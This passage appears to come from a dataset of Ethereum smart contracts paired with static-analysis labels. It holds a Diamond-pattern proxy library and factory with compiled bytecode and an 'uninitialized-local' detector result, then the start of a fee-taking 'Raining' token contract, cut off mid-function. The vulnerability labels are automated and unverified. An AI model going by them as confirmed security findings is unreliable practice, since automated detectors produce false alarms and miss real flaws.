(facetAddressPosition == 0 && ds.facetFunctionSelectors[_newFacetAddress].functionSelectors.length == 0) { enforceHasContractCode(_newFacetAddress, "LibDiamondCut: New facet has no code"); facetAddressPosition = ds.facetAddresses.length; ds.facetAddresses.push(_newFacetAddress); ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition = uint16(facetAddressPosition); } // add or replace selectors for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; // add if (_action == IDiamondCut.FacetCutAction.Add) { require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); addSelector(_newFacetAddress, selector); } else if (_action == IDiamondCut.FacetCutAction.Replace) { // replace require(oldFacetAddress != _newFacetAddress, "LibDiamondCut: Can't replace function with same function"); removeSelector(oldFacetAddress, selector); addSelector(_newFacetAddress, selector); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } } else { require(_action == IDiamondCut.FacetCutAction.Remove, "LibDiamondCut: action not set to FacetCutAction.Remove"); // remove selectors for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; removeSelector(ds.selectorToFacetAndPosition[selector].facetAddress, selector); } } } function addSelector(address _newFacet, bytes4 _selector) internal { DiamondStorage storage ds = diamondStorage(); uint256 selectorPosition = ds.facetFunctionSelectors[_newFacet].functionSelectors.length; ds.facetFunctionSelectors[_newFacet].functionSelectors.push(_selector); ds.selectorToFacetAndPosition[_selector].facetAddress = _newFacet; ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = uint16(selectorPosition); } function removeSelector(address _oldFacetAddress, bytes4 _selector) internal { DiamondStorage storage ds = diamondStorage(); // if function does not exist then do nothing and return require(_oldFacetAddress != address(0), "LibDiamondCut: Can't remove or replace function that doesn't exist"); require(_oldFacetAddress != address(this), "LibDiamondCut: Can't remove or replace immutable function"); // replace selector with last selector, then delete last selector uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition; uint256 lastSelectorPosition = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.length - 1; // if not the same then replace _selector with lastSelector if (selectorPosition != lastSelectorPosition) { bytes4 lastSelector = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[lastSelectorPosition]; ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[selectorPosition] = lastSelector; ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint16(selectorPosition); } // delete the last selector ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.pop(); delete ds.selectorToFacetAndPosition[_selector]; // if no more selectors for facet address then delete the facet address if (lastSelectorPosition == 0) { // replace facet address with last facet address and delete last facet address uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; uint256 facetAddressPosition = ds.facetFunctionSelectors[_oldFacetAddress].facetAddressPosition; if (facetAddressPosition != lastFacetAddressPosition) { address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition]; ds.facetAddresses[facetAddressPosition] = lastFacetAddress; ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = uint16(facetAddressPosition); } ds.facetAddresses.pop(); delete ds.facetFunctionSelectors[_oldFacetAddress]; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { enforceHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // /******************************************************************************\ * Author: Nick Mudge <nick@perfectabstractions.com> (https://twitter.com/mudgen) /******************************************************************************/ // A loupe is a small magnifying glass used to look at diamonds. // These functions look at diamonds interface IDiamondLoupe { /// These functions are expected to be called frequently /// by tools. struct Facet { address facetAddress; bytes4[] functionSelectors; } /// @notice Gets all facet addresses and their four byte function selectors. /// @return facets_ Facet function facets() external view returns (Facet[] memory facets_); /// @notice Gets all the function selectors supported by a specific facet. /// @param _facet The facet address. /// @return facetFunctionSelectors_ function facetFunctionSelectors(address _facet) external view returns (bytes4[] memory facetFunctionSelectors_); /// @notice Get all the facet addresses used by a diamond. /// @return facetAddresses_ function facetAddresses() external view returns (address[] memory facetAddresses_); /// @notice Gets the facet that supports the given selector. /// @dev If facet is not found return address(0). /// @param _functionSelector The function selector. /// @return facetAddress_ The facet address. function facetAddress(bytes4 _functionSelector) external view returns (address facetAddress_); } // /// @title ERC-173 Contract Ownership Standard /// Note: the ERC-165 identifier for this interface is 0x7f5828d0 /* is ERC165 */ interface IERC173 { /// @dev This emits when ownership of a contract changes. event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice Get the address of the owner /// @return owner_ The address of the owner. function owner() external view returns (address owner_); /// @notice Set the address of the new owner of the contract /// @dev Set _newOwner to address(0) to renounce any ownership. /// @param _newOwner The address of the new owner of the contract function transferOwnership(address _newOwner) external; } // interface IERC165 { /// @notice Query if a contract implements an interface /// @param interfaceId The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceId) external view returns (bool); } // /******************************************************************************\ * Author: Nick Mudge * * Implementation of an example of a diamond. /******************************************************************************/ contract Diamond { constructor(IDiamondCut.FacetCut[] memory _diamondCut, address _owner) payable { LibDiamond.diamondCut(_diamondCut, address(0), new bytes(0)); LibDiamond.setContractOwner(_owner); LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); // adding ERC165 data // ERC165 ds.supportedInterfaces[IERC165.supportsInterface.selector] = true; // DiamondCut ds.supportedInterfaces[IDiamondCut.diamondCut.selector] = true; // DiamondLoupe ds.supportedInterfaces[ IDiamondLoupe.facets.selector ^ IDiamondLoupe.facetFunctionSelectors.selector ^ IDiamondLoupe.facetAddresses.selector ^ IDiamondLoupe.facetAddress.selector ] = true; // ERC173 ds.supportedInterfaces[ IERC173.transferOwnership.selector ^ IERC173.owner.selector ] = true; } // Find facet for function that is called and execute the // function if a facet is found and return any value. fallback() external payable { LibDiamond.DiamondStorage storage ds; bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress; require(facet != address(0), "Diamond: Function does not exist"); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } receive() external payable {} } // contract DiamondFactory { event DiamondCreated(address tokenAddress); function deployNewDiamond( address _owner, IDiamondCut.FacetCut[] memory diamondCut ) public returns (address) { Diamond d = new Diamond(diamondCut, _owner); emit DiamondCreated(address(d)); } }
0x60806040523480156200001157600080fd5b50600436106200002e5760003560e01c8063ff6f22c51462000033575b600080fd5b6200004a62000044366004620001d1565b62000062565b60405162000059919062000381565b60405180910390f35b60008082846040516200007590620000e2565b62000082929190620003a2565b604051809103906000f0801580156200009f573d6000803e3d6000fd5b5090507f644ca5b0a8b0418e9faf3880659eeb84eaad45ad838b0173808e5ca72f5efc4981604051620000d3919062000381565b60405180910390a15092915050565b6122e280620004bc83390190565b803573ffffffffffffffffffffffffffffffffffffffff811681146200011557600080fd5b92915050565b600082601f8301126200012c578081fd5b8135620001436200013d826200049a565b62000472565b8181529150602080830190848101818402860182018710156200016557600080fd5b6000805b85811015620001b55782357fffffffff0000000000000000000000000000000000000000000000000000000081168114620001a2578283fd5b8552938301939183019160010162000169565b50505050505092915050565b8035600381106200011557600080fd5b60008060408385031215620001e4578182fd5b620001f08484620000f0565b915060208084013567ffffffffffffffff808211156200020e578384fd5b818601915086601f83011262000222578384fd5b8135620002336200013d826200049a565b81815284810190848601875b84811015620002e9578135870160607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0828f030112156200027e57898afd5b6200028a606062000472565b620002988e8b8401620000f0565b8152620002a98e60408401620001c1565b8a820152606082013588811115620002bf578b8cfd5b620002cf8f8c838601016200011b565b60408301525085525092870192908701906001016200023f565b50979a909950975050505050505050565b73ffffffffffffffffffffffffffffffffffffffff169052565b6000815180845260208085019450808401835b83811015620003675781517fffffffff00000000000000000000000000000000000000000000000000000000168752958201959082019060010162000327565b509495945050505050565b600381106200037d57fe5b9052565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b604080825283518282018190526000919060609081850190602080820287018401818a01875b8481101562000452577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa08a8403018652815173ffffffffffffffffffffffffffffffffffffffff815116845284810151620004268686018262000372565b508801518389018890526200043e8489018262000314565b9685019693505090830190600101620003c8565b5050809650506200046681880189620002fa565b50505050509392505050565b60405181810167ffffffffffffffff811182821017156200049257600080fd5b604052919050565b600067ffffffffffffffff821115620004b1578081fd5b506020908102019056fe6080604052604051620022e2380380620022e2833981016040819052620000269162000b42565b604080516000808252602082019092526200004e918491620000f160201b6200009c1760201c565b6200006481620001b160201b6200014b1760201c565b60006200007b6200021360201b620001b81760201c565b6301ffc9a760e01b600090815260039091016020526040808220805460ff1990811660019081179092556307e4c70760e21b845282842080548216831790556348e2b09360e01b845282842080548216831790556307f5828d60e41b845291909220805490911690911790555062001195915050565b60005b83518110156200016257620001598482815181106200010f57fe5b6020026020010151600001518583815181106200012857fe5b6020026020010151602001518684815181106200014157fe5b6020026020010151604001516200023760201b60201c565b600101620000f4565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb673838383604051620001989392919062000cfc565b60405180910390a1620001ac828262000508565b505050565b6000620001bd62000213565b6004810180546001600160a01b038581166001600160a01b031983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b7fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c90565b60006200024362000213565b90506000825111620002725760405162461bcd60e51b8152600401620002699062000e76565b60405180910390fd5b6001600160a01b038416156200046d576001600160a01b038416600090815260018083016020526040909120015461ffff1680158015620002cb57506001600160a01b0385166000908152600183016020526040902054155b156200034b57620002f685604051806060016040528060248152602001620022be6024913962000646565b506002810180546001808201835560009283526020808420830180546001600160a01b0319166001600160a01b038a16908117909155845281850190526040909220909101805461ffff191661ffff83161790555b60005b8351811015620004655760008482815181106200036757fe5b6020908102919091018101516001600160e01b0319811660009081529186905260408220549092506001600160a01b031690876002811115620003a657fe5b1415620003e9576001600160a01b03811615620003d75760405162461bcd60e51b815260040162000269906200100e565b620003e388836200066a565b6200045a565b6001876002811115620003f857fe5b14156200044057876001600160a01b0316816001600160a01b03161415620004345760405162461bcd60e51b81526004016200026990620010c2565b620003d7818362000711565b60405162461bcd60e51b8152600401620002699062000f6a565b50506001016200034e565b505062000502565b60028360028111156200047c57fe5b146200049c5760405162461bcd60e51b8152600401620002699062000ec1565b60005b825181101562000500576000838281518110620004b857fe5b6020908102919091018101516001600160e01b03198116600090815291859052604090912054909150620004f6906001600160a01b03168262000711565b506001016200049f565b505b50505050565b6001600160a01b0382166200053f57805115620005395760405162461bcd60e51b8152600401620002699062000dd3565b62000642565b6000815111620005635760405162461bcd60e51b8152600401620002699062000fb1565b6001600160a01b038216301462000599576200059982604051806060016040528060288152602001620022966028913962000646565b60006060836001600160a01b031683604051620005b7919062000cde565b600060405180830381855af49150503d8060008114620005f4576040519150601f19603f3d011682016040523d82523d6000602084013e620005f9565b606091505b509150915081620005025780511562000628578060405162461bcd60e51b815260040162000269919062000db7565b60405162461bcd60e51b8152600401620002699062000e30565b5050565b813b8181620005025760405162461bcd60e51b815260040162000269919062000db7565b60006200067662000213565b6001600160a01b039390931660008181526001808601602090815260408084208054938401815584528184206008840401805463ffffffff600786166004026101000a9081021990911660e08a901c919091021790556001600160e01b03199096168352959095529290922080546001600160a01b03191690921761ffff60a01b1916600160a01b61ffff9094169390930292909217905550565b60006200071d62000213565b90506001600160a01b038316620007485760405162461bcd60e51b815260040162000269906200106b565b6001600160a01b038316301415620007745760405162461bcd60e51b8152600401620002699062000f1e565b6001600160e01b03198216600090815260208281526040808320546001600160a01b03871684526001850190925290912054600160a01b90910461ffff16906000190180821462000898576001600160a01b03851660009081526001840160205260408120805483908110620007e657fe5b600091825260208083206008830401546001600160a01b038a168452600188019091526040909220805460079092166004026101000a90920460e01b9250829190859081106200083257fe5b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790556001600160e01b031992909216825284905260409020805461ffff60a01b1916600160a01b61ffff8516021790555b6001600160a01b03851660009081526001840160205260409020805480620008bc57fe5b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b0319861682528490526040902080546001600160b01b031916905580620005005760028301546001600160a01b03861660009081526001858101602052604090912001546000199091019061ffff16808214620009d45760008560020183815481106200095d57fe5b6000918252602090912001546002870180546001600160a01b0390921692508291849081106200098957fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b0394851617905592909116815260018781019092526040902001805461ffff191661ffff83161790555b84600201805480620009e257fe5b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b0389168252600187019052604081209062000a2b828262000a41565b50600101805461ffff1916905550505050505050565b50805460008255600701600890049060005260206000209081019062000a68919062000a6b565b50565b5b8082111562000a82576000815560010162000a6c565b5090565b80516001600160a01b038116811462000a9e57600080fd5b92915050565b600082601f83011262000ab5578081fd5b815162000acc62000ac68262001146565b6200111f565b81815291506020808301908481018184028601820187101562000aee57600080fd5b6000805b8581101562000b265782516001600160e01b03198116811462000b13578283fd5b8552938301939183019160010162000af2565b50505050505092915050565b80516003811062000a9e57600080fd5b6000806040838503121562000b55578182fd5b82516001600160401b038082111562000b6c578384fd5b818501915085601f83011262000b80578384fd5b815162000b9162000ac68262001146565b81815260208082019190858101885b8581101562000c2c57815188016060818e03601f1901121562000bc1578a8bfd5b62000bcd60606200111f565b62000bdb8e86840162000a86565b815262000bec8e6040840162000b32565b8582015260608201518981111562000c02578c8dfd5b62000c128f878386010162000aa4565b604083015250865250938201939082019060010162000ba0565b505081975062000c3f8a828b0162000a86565b96505050505050509250929050565b6001600160a01b03169052565b6000815180845260208085019450808401835b8381101562000c965781516001600160e01b0319168752958201959082019060010162000c6e565b509495945050505050565b6000815180845262000cbb81602086016020860162001166565b601f01601f19169290920160200192915050565b6003811062000cda57fe5b9052565b6000825162000cf281846020870162001166565b9190910192915050565b60006060808301818452808751808352608086019150602092506080838202870101838a01865b8381101562000d8557607f19898403018552815162000d4484825162000c4e565b8681015162000d568886018262000ccf565b5060409081015190840188905262000d718489018262000c5b565b958701959350509085019060010162000d23565b505062000d958488018a62000c4e565b868103604088015262000da9818962000ca1565b9a9950505050505050505050565b60006020825262000dcc602083018462000ca1565b9392505050565b6020808252603c908201527f4c69624469616d6f6e644375743a205f696e697420697320616464726573732860408201527f3029206275745f63616c6c64617461206973206e6f7420656d70747900000000606082015260800190565b60208082526026908201527f4c69624469616d6f6e644375743a205f696e69742066756e6374696f6e2072656040820152651d995c9d195960d21b606082015260800190565b6020808252602b908201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660408201526a1858d95d081d1bc818dd5d60aa1b606082015260800190565b60208082526036908201527f4c69624469616d6f6e644375743a20616374696f6e206e6f742073657420746f60408201527f204661636574437574416374696f6e2e52656d6f766500000000000000000000606082015260800190565b60208082526039908201526000805160206200227683398151915260408201527f65706c61636520696d6d757461626c652066756e6374696f6e00000000000000606082015260800190565b60208082526027908201527f4c69624469616d6f6e644375743a20496e636f727265637420466163657443756040820152663a20b1ba34b7b760c91b606082015260800190565b6020808252603d908201527f4c69624469616d6f6e644375743a205f63616c6c6461746120697320656d707460408201527f7920627574205f696e6974206973206e6f742061646472657373283029000000606082015260800190565b60208082526035908201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60408201527f6e207468617420616c7265616479206578697374730000000000000000000000606082015260800190565b60208082526042908201526000805160206200227683398151915260408201527f65706c6163652066756e6374696f6e207468617420646f65736e2774206578696060820152611cdd60f21b608082015260a00190565b60208082526038908201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60408201527f6374696f6e20776974682073616d652066756e6374696f6e0000000000000000606082015260800190565b6040518181016001600160401b03811182821017156200113e57600080fd5b604052919050565b60006001600160401b038211156200115c578081fd5b5060209081020190565b60005b838110156200118357818101518382015260200162001169565b83811115620005025750506000910152565b6110d180620011a56000396000f3fe60806040523661000b57005b600080356001600160e01b03191681527fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c602081905260409091205481906001600160a01b0316806100785760405162461bcd60e51b815260040161006f90610e54565b60405180910390fd5b3660008037600080366000845af43d6000803e808015610097573d6000f35b3d6000fd5b60005b8351811015610100576100f88482815181106100b757fe5b6020026020010151600001518583815181106100cf57fe5b6020026020010151602001518684815181106100e757fe5b6020026020010151604001516101dc565b60010161009f565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb67383838360405161013493929190610b3f565b60405180910390a16101468282610488565b505050565b60006101556101b8565b6004810180546001600160a01b0385811673ffffffffffffffffffffffffffffffffffffffff1983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b7fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c90565b60006101e66101b8565b905060008251116102095760405162461bcd60e51b815260040161006f90610ce0565b6001600160a01b038416156103f6576001600160a01b038416600090815260018083016020526040909120015461ffff168015801561026057506001600160a01b0385166000908152600183016020526040902054155b156102e95761028785604051806060016040528060248152602001611078602491396105b0565b5060028101805460018082018355600092835260208084208301805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038a16908117909155845281850190526040909220909101805461ffff191661ffff83161790555b60005b83518110156103ef57600084828151811061030357fe5b6020908102919091018101516001600160e01b0319811660009081529186905260408220549092506001600160a01b03169087600281111561034157fe5b141561037d576001600160a01b0381161561036e5760405162461bcd60e51b815260040161006f90610ee6565b61037888836105d1565b6103e5565b600187600281111561038b57fe5b14156103cd57876001600160a01b0316816001600160a01b031614156103c35760405162461bcd60e51b815260040161006f90610fc6565b61036e81836106ae565b60405162461bcd60e51b815260040161006f90610df7565b50506001016102ec565b5050610482565b600283600281111561040457fe5b146104215760405162461bcd60e51b815260040161006f90610d3d565b60005b825181101561048057600083828151811061043b57fe5b6020908102919091018101516001600160e01b03198116600090815291859052604090912054909150610477906001600160a01b0316826106ae565b50600101610424565b505b50505050565b6001600160a01b0382166104ba578051156104b55760405162461bcd60e51b815260040161006f90610c26565b6105ac565b60008151116104db5760405162461bcd60e51b815260040161006f90610e89565b6001600160a01b038216301461050d5761050d82604051806060016040528060288152602001611050602891396105b0565b60006060836001600160a01b0316836040516105299190610b23565b600060405180830381855af49150503d8060008114610564576040519150601f19603f3d011682016040523d82523d6000602084013e610569565b606091505b50915091508161048257805115610594578060405162461bcd60e51b815260040161006f9190610c0c565b60405162461bcd60e51b815260040161006f90610c83565b5050565b813b81816104825760405162461bcd60e51b815260040161006f9190610c0c565b60006105db6101b8565b6001600160a01b039390931660008181526001808601602090815260408084208054938401815584528184206008840401805463ffffffff600786166004026101000a9081021990911660e08a901c919091021790556001600160e01b031990961683529590955292909220805473ffffffffffffffffffffffffffffffffffffffff19169092177fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000061ffff9094169390930292909217905550565b60006106b86101b8565b90506001600160a01b0383166106e05760405162461bcd60e51b815260040161006f90610f43565b6001600160a01b0383163014156107095760405162461bcd60e51b815260040161006f90610d9a565b6001600160e01b03198216600090815260208281526040808320546001600160a01b038716845260018501909252909120547401000000000000000000000000000000000000000090910461ffff169060001901808214610866576001600160a01b0385166000908152600184016020526040812080548390811061078a57fe5b600091825260208083206008830401546001600160a01b038a168452600188019091526040909220805460079092166004026101000a90920460e01b9250829190859081106107d557fe5b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790556001600160e01b03199290921682528490526040902080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000061ffff8516021790555b6001600160a01b0385166000908152600184016020526040902080548061088957fe5b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b0319861682528490526040902080547fffffffffffffffffffff00000000000000000000000000000000000000000000169055806104805760028301546001600160a01b03861660009081526001858101602052604090912001546000199091019061ffff168082146109c257600085600201838154811061093f57fe5b6000918252602090912001546002870180546001600160a01b03909216925082918490811061096a57fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0394851617905592909116815260018781019092526040902001805461ffff191661ffff83161790555b846002018054806109cf57fe5b600082815260208082208301600019908101805473ffffffffffffffffffffffffffffffffffffffff191690559092019092556001600160a01b03891682526001870190526040812090610a238282610a39565b50600101805461ffff1916905550505050505050565b508054600082556007016008900490600052602060002090810190610a5e9190610a61565b50565b5b80821115610a765760008155600101610a62565b5090565b6001600160a01b03169052565b6000815180845260208085019450808401835b83811015610ac05781516001600160e01b03191687529582019590820190600101610a9a565b509495945050505050565b60008151808452610ae3816020860160208601611023565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60038110610b1f57fe5b9052565b60008251610b35818460208701611023565b9190910192915050565b60006060808301818452808751808352608086019150602092506080838202870101838a01865b83811015610bde577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808984030185528151610ba2848251610a7a565b86810151610bb288860182610b15565b50604090810151908401889052610bcb84890182610a87565b9587019593505090850190600101610b66565b5050610bec8488018a610a7a565b8681036040880152610bfe8189610acb565b9a9950505050505050505050565b600060208252610c1f6020830184610acb565b9392505050565b6020808252603c908201527f4c69624469616d6f6e644375743a205f696e697420697320616464726573732860408201527f3029206275745f63616c6c64617461206973206e6f7420656d70747900000000606082015260800190565b60208082526026908201527f4c69624469616d6f6e644375743a205f696e69742066756e6374696f6e20726560408201527f7665727465640000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602b908201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660408201527f6163657420746f20637574000000000000000000000000000000000000000000606082015260800190565b60208082526036908201527f4c69624469616d6f6e644375743a20616374696f6e206e6f742073657420746f60408201527f204661636574437574416374696f6e2e52656d6f766500000000000000000000606082015260800190565b60208082526039908201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206f72207260408201527f65706c61636520696d6d757461626c652066756e6374696f6e00000000000000606082015260800190565b60208082526027908201527f4c69624469616d6f6e644375743a20496e636f7272656374204661636574437560408201527f74416374696f6e00000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f74206578697374604082015260600190565b6020808252603d908201527f4c69624469616d6f6e644375743a205f63616c6c6461746120697320656d707460408201527f7920627574205f696e6974206973206e6f742061646472657373283029000000606082015260800190565b60208082526035908201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60408201527f6e207468617420616c7265616479206578697374730000000000000000000000606082015260800190565b60208082526042908201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206f72207260408201527f65706c6163652066756e6374696f6e207468617420646f65736e27742065786960608201527f7374000000000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526038908201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60408201527f6374696f6e20776974682073616d652066756e6374696f6e0000000000000000606082015260800190565b60005b8381101561103e578181015183820152602001611026565b83811115610482575050600091015256fe4c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f6465a26469706673582212204b92f54a2868f69a5d9929624c57077f9526790c0a7b7229356b0124a19eba8c64736f6c634300070100334c69624469616d6f6e644375743a2043616e27742072656d6f7665206f7220724c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f6465a2646970667358221220c462d88a26726937c88c2055450e94dfd23a00fbf6a7d9bfdea013a55b4e0de064736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,593
0x99f3309aaf4068ec90d7cfb927310a4c9ddb7015
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Raining is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Raining Day "; string private constant _symbol = " Rain"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != 